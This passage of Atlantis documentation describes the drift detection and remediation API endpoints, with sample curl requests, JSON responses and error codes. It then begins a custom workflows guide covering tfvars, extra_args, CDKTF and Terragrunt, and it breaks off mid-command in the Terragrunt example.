Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-success-2) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440000", "repository": "owner/repo", "ref": "main", "action": "plan", "status": "success", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:31:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated...",\ "drift_before": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ },\ "drift_after": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ }\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "status": "success",\ "plan_output": "No changes. Infrastructure is up-to-date."\ }\ ], "summary": { "total_projects": 2, "success_count": 2, "failure_count": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Sample Response (Auto-Apply Success) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-auto-apply-success) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440001", "repository": "owner/repo", "ref": "main", "action": "apply", "status": "success", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:32:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated...",\ "apply_output": "Apply complete! Resources: 0 added, 1 changed, 0 destroyed.",\ "drift_before": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ },\ "drift_after": {\ "to_add": 0,\ "to_change": 0,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 0,\ "summary": "Apply completed successfully",\ "changes_outside": false\ }\ }\ ], "summary": { "total_projects": 1, "success_count": 1, "failure_count": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440001", "timestamp": "2025-01-21T10:32:00Z" } #### Sample Response (Partial Failure) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-partial-failure) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440002", "repository": "owner/repo", "ref": "main", "action": "plan", "status": "partial", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:31:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "No changes. Infrastructure is up-to-date."\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "status": "failed",\ "error": "terraform plan failed: Error acquiring state lock"\ }\ ], "summary": { "total_projects": 2, "success_count": 1, "failure_count": 1 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440002", "timestamp": "2025-01-21T10:31:00Z" } #### Status Values [​](https://www.runatlantis.io/docs/api-endpoints#status-values) | Status | Description | | --- | --- | | `pending` | Remediation is queued but not yet started | | `running` | Remediation is currently in progress | | `success` | All projects were remediated successfully | | `failed` | All projects failed remediation | | `partial` | Some projects succeeded, some failed | #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints#error-responses) | Status Code | Description | | --- | --- | | 400 | Invalid request (missing required fields or invalid action) | | 401 | Invalid or missing `X-Atlantis-Token` header | | 403 | Repository not in allowed list | | 409 | Remediation ran but all targeted projects failed | | 503 | API, drift remediation, or remediation apply is not enabled on the server | | 500 | Internal error during remediation | ### POST /api/drift/detect [​](https://www.runatlantis.io/docs/api-endpoints#post-api-drift-detect) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-3) Trigger drift detection for projects in a repository. This endpoint initiates a plan operation to detect infrastructure drift without requiring a pull request. Results are stored for later retrieval via the drift status endpoints. When [drift webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#drift-detection-webhooks) are configured (`event: drift`), successful detection runs send webhook notifications automatically to Slack channels and/or HTTP endpoints, including no-drift heartbeat results. Prerequisites * Drift detection storage must be enabled on the Atlantis server (`--enable-drift-detection`) #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints#parameters-3) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | ref | string | Yes | Git reference (branch/tag/commit) to check for drift | | base\_branch | string | Conditional | Branch context for repo-config branch filters and undiverged checks | | type | string | Yes | Type of the VCS provider (`Github`/`Gitlab`/`Gitea`) | | projects | \[\]string | No | List of project names to check. If empty, all are checked | | paths | \[\]DriftDetectionPath | No | List of paths to check. If empty, project names are used | | include\_plan\_output | boolean | No | If true, include `plan_output` for each project in the response. Defaults to `false` | #### DriftDetectionPath [​](https://www.runatlantis.io/docs/api-endpoints#driftdetectionpath) | Name | Type | Required | Description | | --- | --- | --- | --- | | directory | string | Yes | Relative path to the Terraform directory | | workspace | string | No | Terraform workspace. If omitted, the default workspace is used. | Path selectors are literal normalized repo-relative paths. Glob patterns such as `envs/*` are not supported. NOTE At least one of `projects` or `paths` should be specified for targeted detection. If both are empty, drift detection may scan all discovered projects. `projects` and `paths` are mutually exclusive for drift detection; use one selector type per request. Status Side Effects Drift detection suppresses normal Atlantis plan, policy check, apply, and hook commit statuses. Drift-specific webhook notifications can still be sent for successful detection runs, including no-drift heartbeat results, when drift webhooks are configured. Drift detection does not run Terraform apply, but it does execute the normal plan lifecycle. Configured pre-workflow hooks, custom workflows, custom plan steps, and Terraform plan commands can run server-side outside a pull request context. Drift detection does not bypass team allowlists. If a configured team allowlist cannot authorize the API request, the request fails instead of scanning or reconciling an empty project set. PR-state `plan_requirements` such as `approved` or `mergeable` also fail closed for non-PR drift detection. Branch Context For branch refs such as `main`, `feature/foo`, or `refs/heads/feature/foo`, Atlantis uses `ref` as the branch context and fetches the branch namespace explicitly. Ambiguous bare refs such as `prod`, `latest`, `stable`, or `v1.2.3` require `base_branch` but are still fetched as branch names. For raw commit SHAs and explicit `refs/tags/...` refs, provide `base_branch` so repo-config branch filters and undiverged checks are evaluated against the intended branch. Use the explicit `refs/tags/...` form for tags. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-1) shell curl --request POST 'https:///api/drift/detect' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "projects": ["vpc", "ec2"], "include_plan_output": true }' #### Sample Request (with paths) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-with-paths) shell curl --request POST 'https:///api/drift/detect' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "paths": [\ {"directory": "modules/vpc", "workspace": "production"},\ {"directory": "modules/ec2", "workspace": "production"}\ ], "include_plan_output": true }' Plan Output Set `include_plan_output: true` on the request to have the response include `plan_output` for each project — the Terraform plan text for that project. For the built-in plan step this is typically normalized for diff rendering; the exact content depends on the configured workflow, since a custom `run` step can produce arbitrary, unnormalized output instead. It defaults to `false`, since plan text can be large; when omitted or `false`, `plan_output` is not included even for projects with a successful plan. It is also omitted when there is no plan output (for example, if the project errored before a plan ran). `plan_output` is only ever returned by this detect response; it is never included in `GET /api/drift/status`, since it is never persisted to drift storage. Plan Output May Contain Sensitive Data Before this field existed, `POST /api/drift/detect` only returned numeric drift counts. With `include_plan_output: true`, responses can include resource attribute values and, for custom `run`\-step workflows, arbitrary command output. The endpoint's auth boundary is unchanged (the same API token as other drift/remediation endpoints), so this is not a new authorization gap, but the data sensitivity of the response changes materially when this field is enabled. Only `run`\-step filter-regex redaction (if configured) applies to plan output; it is not otherwise scrubbed. #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-success-3) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440000", "repository": "owner/repo", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "ref": "main",\ "detection_id": "550e8400-e29b-41d4-a716-446655440000",\ "has_drift": true,\ "drift": {\ "to_add": 1,\ "to_change": 2,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 3,\ "summary": "Plan: 1 to add, 2 to change, 0 to destroy.",\ "changes_outside": false\ },\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated in-place\n\nPlan: 1 to add, 2 to change, 0 to destroy.",\ "last_checked": "2025-01-21T10:30:00Z"\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "ref": "main",\ "has_drift": false,\ "last_checked": "2025-01-21T10:30:00Z"\ }\ ], "detected_at": "2025-01-21T10:30:00Z", "summary": { "total_projects": 2, "projects_with_drift": 1, "projects_without_drift": 1, "projects_with_errors": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints#error-responses-1) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Invalid request (missing required fields) | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 503 | SERVICE\_UNAVAILABLE | Drift detection storage is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error during drift detection | ### GET /api/drift/remediate [​](https://www.runatlantis.io/docs/api-endpoints#get-api-drift-remediate) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-4) List remediation results for a repository. Returns a paginated list of past remediation operations. This is an authenticated endpoint that requires the API secret. Prerequisites Drift detection must be enabled on the Atlantis server. Destructive remediation apply additionally requires `--enable-drift-remediation`. #### Query Parameters [​](https://www.runatlantis.io/docs/api-endpoints#query-parameters) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | type | string | Yes | VCS provider type (e.g., `Github`, `Gitlab`, `Gitea`) | | limit | int | No | Maximum number of results to return (default: 10, max: 100) | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-2) shell curl --request GET 'https:///api/drift/remediate?repository=owner/repo&type=Github' \ --header 'X-Atlantis-Token: ' #### Sample Request (with limit) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-with-limit) shell curl --request GET 'https:///api/drift/remediate?repository=owner/repo&type=Github&limit=10' \ --header 'X-Atlantis-Token: ' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints#sample-response) json { "success": true, "data": { "repository": "owner/repo", "count": 2, "results": [\ {\ "id": "550e8400-e29b-41d4-a716-446655440000",\ "repository": "owner/repo",\ "ref": "main",\ "action": "plan",\ "status": "success",\ "started_at": "2025-01-21T10:30:00Z",\ "completed_at": "2025-01-21T10:31:00Z",\ "projects": [],\ "summary": {\ "total_projects": 2,\ "success_count": 2,\ "failure_count": 0\ }\ },\ {\ "id": "550e8400-e29b-41d4-a716-446655440001",\ "repository": "owner/repo",\ "ref": "main",\ "action": "apply",\ "status": "partial",\ "started_at": "2025-01-21T09:00:00Z",\ "completed_at": "2025-01-21T09:05:00Z",\ "projects": [],\ "summary": {\ "total_projects": 3,\ "success_count": 2,\ "failure_count": 1\ }\ }\ ] }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Sample Response (no results) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-no-results) json { "success": true, "data": { "repository": "owner/repo", "count": 0, "results": [] }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440001", "timestamp": "2025-01-21T10:30:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints#error-responses-2) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Missing required `repository` parameter | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 503 | SERVICE\_UNAVAILABLE | Drift detection storage is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error retrieving remediation data | ### GET /api/drift/remediate/ [​](https://www.runatlantis.io/docs/api-endpoints#) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-5) Get a specific remediation result by ID. Returns detailed information about a past remediation operation including per-project results. This is an authenticated endpoint that requires the API secret. Prerequisites Drift detection must be enabled on the Atlantis server. Destructive remediation apply additionally requires `--enable-drift-remediation`. #### Path Parameters [​](https://www.runatlantis.io/docs/api-endpoints#path-parameters) | Name | Type | Required | Description | | --- | --- | --- | --- | | id | string | Yes | The unique identifier of the remediation | Which ID? The `id` here is the `id` field returned by a prior `POST /api/drift/remediate` call — not the `detection_id`/`id` returned by `POST /api/drift/detect`. Detection and remediation runs are tracked separately, each with their own ID space. To inspect the plan output for a remediation, call `POST /api/drift/remediate` first and use the `id` from its response. #### Query Parameters [​](https://www.runatlantis.io/docs/api-endpoints#query-parameters-1) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | type | string | Yes | Type of the VCS provider (`Github`/`Gitlab`/`Gitea`) | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-3) shell curl --request GET 'https:///api/drift/remediate/550e8400-e29b-41d4-a716-446655440000?repository=owner/repo&type=Github' \ --header 'X-Atlantis-Token: ' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-1) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440000", "repository": "owner/repo", "ref": "main", "action": "plan", "status": "success", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:31:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated...",\ "drift_before": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ }\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "status": "success",\ "plan_output": "No changes. Infrastructure is up-to-date."\ }\ ], "summary": { "total_projects": 2, "success_count": 2, "failure_count": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:31:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints#error-responses-3) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Missing required parameter | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 403 | FORBIDDEN | Repository is not in the allowlist | | 404 | NOT\_FOUND | Remediation result not found | | 503 | SERVICE\_UNAVAILABLE | Drift detection storage is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error retrieving remediation data | Other Endpoints [​](https://www.runatlantis.io/docs/api-endpoints#other-endpoints) ----------------------------------------------------------------------------------- Most endpoints listed in this section are non-destructive and therefore don't require authentication nor a special secret token. `GET /api/drift/status` is an authenticated drift API read endpoint and requires `X-Atlantis-Token`. ### GET /api/locks [​](https://www.runatlantis.io/docs/api-endpoints#get-api-locks) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-6) List the currently held project locks. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-4) shell curl --request GET 'https:///api/locks' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-2) json { "Locks": [\ {\ "Name": "owner/repo/./default/terraform",\ "ProjectName": "terraform",\ "ProjectRepo": "owner/repo",\ "ProjectRepoPath": ".",\ "PullID": "123",\ "PullURL": "https://github.com/owner/repo/pull/123",\ "User": "jdoe",\ "Workspace": "default",\ "Time": "2025-02-13T16:47:42.040856-08:00"\ }\ ] } #### Sample Response (No Locks) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-no-locks) json { "Locks": [] } ### GET /api/drift/status [​](https://www.runatlantis.io/docs/api-endpoints#get-api-drift-status) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-7) Return the drift status for a repository. This endpoint provides cached drift detection results from previous plan executions. Drift detection must be enabled on the server for this endpoint to work and requires the configured API token. Prerequisites Drift detection storage must be enabled on the Atlantis server. If not enabled, this endpoint returns a `503 Service Unavailable` error. #### Query Parameters [​](https://www.runatlantis.io/docs/api-endpoints#query-parameters-2) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | type | string | Yes | VCS provider type (e.g., `Github`, `Gitlab`, `Gitea`) | | project | string | No | Filter by project name | | path | string | No | Filter by literal normalized repository-relative project path | | workspace | string | No | Filter by Terraform workspace | | ref | string | No | Filter by git reference | | base\_branch | string | No | Filter by branch context used when drift was detected | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-5) shell curl --request GET 'https:///api/drift/status?repository=owner/repo&type=Github' \ --header 'X-Atlantis-Token: ' #### Sample Request (with filters) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-with-filters) shell curl --request GET 'https:///api/drift/status?repository=owner/repo&type=Github&project=vpc&path=modules/vpc&workspace=production&ref=main&base_branch=main' \ --header 'X-Atlantis-Token: ' #### Sample Response (with drift) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-with-drift) json { "success": true, "data": { "repository": "owner/repo", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "ref": "main",\ "has_drift": true,\ "drift": {\ "to_add": 2,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 3,\ "summary": "Plan: 2 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ },\ "last_checked": "2025-01-21T10:30:00Z"\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "ref": "main",\ "has_drift": false,\ "last_checked": "2025-01-21T10:25:00Z"\ }\ ], "checked_at": "2025-01-21T10:30:00Z", "summary": { "total_projects": 2, "projects_with_drift": 1, "projects_without_drift": 1, "projects_with_errors": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Sample Response (no drift data) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-no-drift-data) json { "success": true, "data": { "repository": "owner/repo", "projects": [], "checked_at": "2025-01-21T10:30:00Z", "summary": { "total_projects": 0, "projects_with_drift": 0, "projects_without_drift": 0, "projects_with_errors": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440001", "timestamp": "2025-01-21T10:30:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints#error-responses-4) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Missing required `repository` parameter | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 403 | FORBIDDEN | Repository is not in the allowlist | | 503 | SERVICE\_UNAVAILABLE | Drift detection is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error retrieving drift data | ### GET /status [​](https://www.runatlantis.io/docs/api-endpoints#get-status) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-8) Return the status of the Atlantis server. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-6) shell curl --request GET 'https:///status' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-3) json { "shutting_down": false, "in_progress_operations": 0, "version": "0.22.3" } ### GET /healthz [​](https://www.runatlantis.io/docs/api-endpoints#get-healthz) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-9) Liveness endpoint. Returns 200 if the Atlantis process is running. Does not check external dependencies. Suitable for Kubernetes liveness probes. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-7) shell curl --request GET 'https:///healthz' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-4) json { "status": "ok" } ### GET /readyz [​](https://www.runatlantis.io/docs/api-endpoints#get-readyz) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-10) Readiness endpoint. Returns 200 if the server is ready to handle requests, including connectivity to external dependencies (e.g. Redis). Returns 503 if any dependency is unreachable. Suitable for Kubernetes readiness probes. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-8) shell curl --request GET 'https:///readyz' #### Sample Response (healthy) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-healthy) json { "status": "ok" } #### Sample Response (unhealthy) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-unhealthy) Returns HTTP 503: json { "status": "error", "error": "failed to ping redis: ..." } ### GET /debug/pprof [​](https://www.runatlantis.io/docs/api-endpoints#get-debug-pprof) If `--enable-profiling-api` is set to true, it adds endpoints under this path to expose server's profiling data. See [profiling Go programs](https://go.dev/blog/pprof) for more information. --- # Custom Workflows | Atlantis [Skip to content](https://www.runatlantis.io/docs/custom-workflows#VPContent) On this page Custom Workflows [​](https://www.runatlantis.io/docs/custom-workflows#custom-workflows) ======================================================================================== Custom workflows can be defined to override the default commands that Atlantis runs. Usage [​](https://www.runatlantis.io/docs/custom-workflows#usage) ------------------------------------------------------------------ Custom workflows can be specified in the Server-Side Repo Config or in the Repo-Level `atlantis.yaml` files. **Notes:** * If you want to allow repos to select their own workflows, they must have the `allowed_overrides: [workflow]` setting. See [server-side repo config use cases](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-choose-a-server-side-workflow) for more details. * If in addition you also want to allow repos to define their own workflows, they must have the `allow_custom_workflows: true` setting. See [server-side repo config use cases](https://www.runatlantis.io/docs/server-side-repo-config#allow-repos-to-define-their-own-workflows) for more details. Use Cases [​](https://www.runatlantis.io/docs/custom-workflows#use-cases) -------------------------------------------------------------------------- ### .tfvars files [​](https://www.runatlantis.io/docs/custom-workflows#tfvars-files) TIP Before creating custom workflows for `.tfvars` files, consider using Atlantis's automatic `env/{workspace}.tfvars` feature. If you structure your files as `env/staging.tfvars`, `env/production.tfvars`, etc., Atlantis will automatically include them based on the workspace without any configuration. See [Using Atlantis - Automatic Environment Variable Files](https://www.runatlantis.io/docs/using-atlantis#automatic-environment-variable-files) for details. Given the structure: plain . └── project1 ├── main.tf ├── production.tfvars └── staging.tfvars If you wanted Atlantis to automatically run plan with `-var-file staging.tfvars` and `-var-file production.tfvars` you could define two workflows: yaml # repos.yaml or atlantis.yaml workflows: staging: plan: steps: - init - plan: extra_args: ["-var-file", "staging.tfvars"] # NOTE: no need to define the apply stage because it will default # to the normal apply stage. production: plan: steps: - init - plan: extra_args: ["-var-file", "production.tfvars"] apply: steps: - apply: extra_args: ["-var-file", "production.tfvars"] import: steps: - init - import: extra_args: ["-var-file", "production.tfvars"] state_rm: steps: - init - state_rm: extra_args: ["-lock=false"] Then in your repo-level `atlantis.yaml` file, you would reference the workflows: yaml # atlantis.yaml version: 3 projects: # If two or more projects have the same dir and workspace, they must also have # a 'name' key to differentiate them. - name: project1-staging dir: project1 workflow: staging - name: project1-production dir: project1 workflow: production workflows: # If you didn't define the workflows in your server-side repos.yaml config, # you would define them here instead. When you want to apply the plans, you can comment shell atlantis apply -p project1-staging and shell atlantis apply -p project1-production Where `-p` refers to the project name. ### Adding extra arguments to Terraform commands [​](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) If you need to append flags to `terraform plan` or `apply` temporarily, you can append flags on a comment following `--`, for example commenting: shell atlantis plan -- -lock=false If you always need to do this for a project's `init`, `plan` or `apply` commands then you must define a custom workflow and set the `extra_args` key for the command you need to modify. yaml # atlantis.yaml or repos.yaml workflows: myworkflow: plan: steps: - init: extra_args: ["-lock=false"] - plan: extra_args: ["-lock=false"] apply: steps: - apply: extra_args: ["-lock=false"] Note Each entry in `extra_args` is passed to Terraform as a single argument. It is not interpreted by a shell, so shell operators (`;`, `&&`, `|`, redirections), globbing and word splitting do not apply. Environment variable references such as `$WORKSPACE`, `$DIR` and `$ATLANTIS_TERRAFORM_VERSION` are still expanded. If you need shell behaviour, use a `run` step, which is executed with a shell by design. If [policy checking](https://www.runatlantis.io/docs/policy-checking#how-it-works) is enabled, `extra_args` can also be used to change the default behaviour of conftest. yaml workflows: myworkflow: policy_check: steps: - show - policy_check: extra_args: ["--all-namespaces"] ### Custom init/plan/apply Commands [​](https://www.runatlantis.io/docs/custom-workflows#custom-init-plan-apply-commands) If you want to customize `terraform init`, `plan` or `apply` in ways that aren't supported by `extra_args`, you can completely override those commands. In this example, we're not using any of the built-in commands and are instead using our own. yaml # atlantis.yaml or repos.yaml workflows: myworkflow: plan: steps: # If you want to hide command output from Atlantis's PR comment, use # the output option on the run step's expanded form. - run: command: terraform init -input=false output: hide # If you're using workspaces you need to select the workspace using the # $WORKSPACE environment variable. - run: terraform workspace select $WORKSPACE # You MUST output the plan using -out $PLANFILE because Atlantis expects # plans to be in a specific location. - run: terraform plan -input=false -refresh -out $PLANFILE apply: steps: # Again, you must use the $PLANFILE environment variable. - run: terraform apply $PLANFILE ### CDKTF [​](https://www.runatlantis.io/docs/custom-workflows#cdktf) Here are the requirements to enable [CDKTF](https://developer.hashicorp.com/terraform/cdktf) * A custom image with `CDKTF` installed * Add `**/cdk.tf.json` to the list of Atlantis autoplan files. * Set the `atlantis-include-git-untracked-files` flag so that the Terraform files dynamically generated by CDKTF will be added to the Atlantis modified file list. * Use `pre_workflow_hooks` to run `cdktf synth` * Optional: There isn't a requirement to use a repo `atlantis.yaml` but one can be leveraged if needed. #### Custom Image [​](https://www.runatlantis.io/docs/custom-workflows#custom-image) dockerfile # Dockerfile FROM ghcr.io/runatlantis/atlantis:v0.19.7 USER root RUN apk add npm && npm i -g cdktf-cli #### Server Config [​](https://www.runatlantis.io/docs/custom-workflows#server-config) bash # env variables ATLANTIS_AUTOPLAN_FILE_LIST="**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true OR `atlantis server --config config.yaml` yaml # config.yaml autoplan-file-list: "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" include-git-untracked-files: true #### Server Repo Config [​](https://www.runatlantis.io/docs/custom-workflows#server-repo-config) Use `pre_workflow_hooks` `atlantis server --repo-config="repos.yaml"` yaml # repos.yaml repos: - id: /.*cdktf.*/ pre_workflow_hooks: - run: npm i && cdktf get && cdktf synth --output ci-cdktf.out **Note:** don't use the default `cdktf.out` directory that CDKTF uses, as this should be in the `.gitignore` list of the repo, so that locally generated files are not checked in. #### Repo Structure [​](https://www.runatlantis.io/docs/custom-workflows#repo-structure) This is the git repo structure after running `cdktf synth`. The `cdk.tf.json` files contain the Terraform configuration that atlantis can run. bash $ tree --gitignore . ├── cdktf.json ├── ci-cdktf.out │ ├── manifest.json │ └── stacks │ └── eks │ └── cdk.tf.json #### Workflow [​](https://www.runatlantis.io/docs/custom-workflows#workflow) 1. Container orchestrator (k8s/fargate/ecs/etc) uses the custom docker image of atlantis with `cdktf` installed with the `--autoplan-file-list` to trigger on `cdk.tf.json` files and `--include-git-untracked-files` set to include the CDKTF dynamically generated Terraform files in the Atlantis plan. 2. PR branch is pushed up containing `cdktf` code changes. 3. Atlantis checks out the branch in the repo. 4. Atlantis runs the `npm i && cdktf get && cdktf synth` command in the repo root as a step in `pre_workflow_hooks`, generating the `cdk.tf.json` Terraform files. 5. Atlantis detects the `cdk.tf.json` untracked files in a number of directories. 6. Atlantis then runs `terraform` workflows in the respective directories as usual. ### Terragrunt [​](https://www.runatlantis.io/docs/custom-workflows#terragrunt) Atlantis supports running custom commands in place of the default Atlantis commands. We can use this functionality to enable [Terragrunt](https://github.com/gruntwork-io/terragrunt) . You can either use your repo's `atlantis.yaml` file or the Atlantis server's `repos.yaml` file. Atlantis selects each project's Terraform distribution and version. In the workflows below, `ATLANTIS_TERRAFORM_DISTRIBUTION` expands to the executable prefix (`terraform` or `tofu`), and combining it with `ATLANTIS_TERRAFORM_VERSION` points Terragrunt at the same versioned binary. This also supports repositories containing both Terraform and OpenTofu projects. Given a directory structure: plain . └── live    ├── prod    │   └── terragrunt.hcl    └── staging    └── terragrunt.hcl If using the server `repos.yaml` file, you would use the following config: yaml # repos.yaml # Generate json plan via terragrunt for policy checks repos: - id: "/.*/" workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: # Allow for targeted plans/applies as not supported for Terraform wrappers by default command: terragrunt plan -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /g' | tr -d '\\') -no-color -out $PLANFILE output: hide - run: | terragrunt show $PLANFILE apply: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: terragrunt apply -input=false $PLANFILE import: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: name: TF_VAR_author command: 'git show -s --format="%ae" $HEAD_COMMIT' # Allow for imports as not supported for Terraform wrappers by default - run: terragrunt import -input=false $(printf '%s' $COMMENT_ARGS | 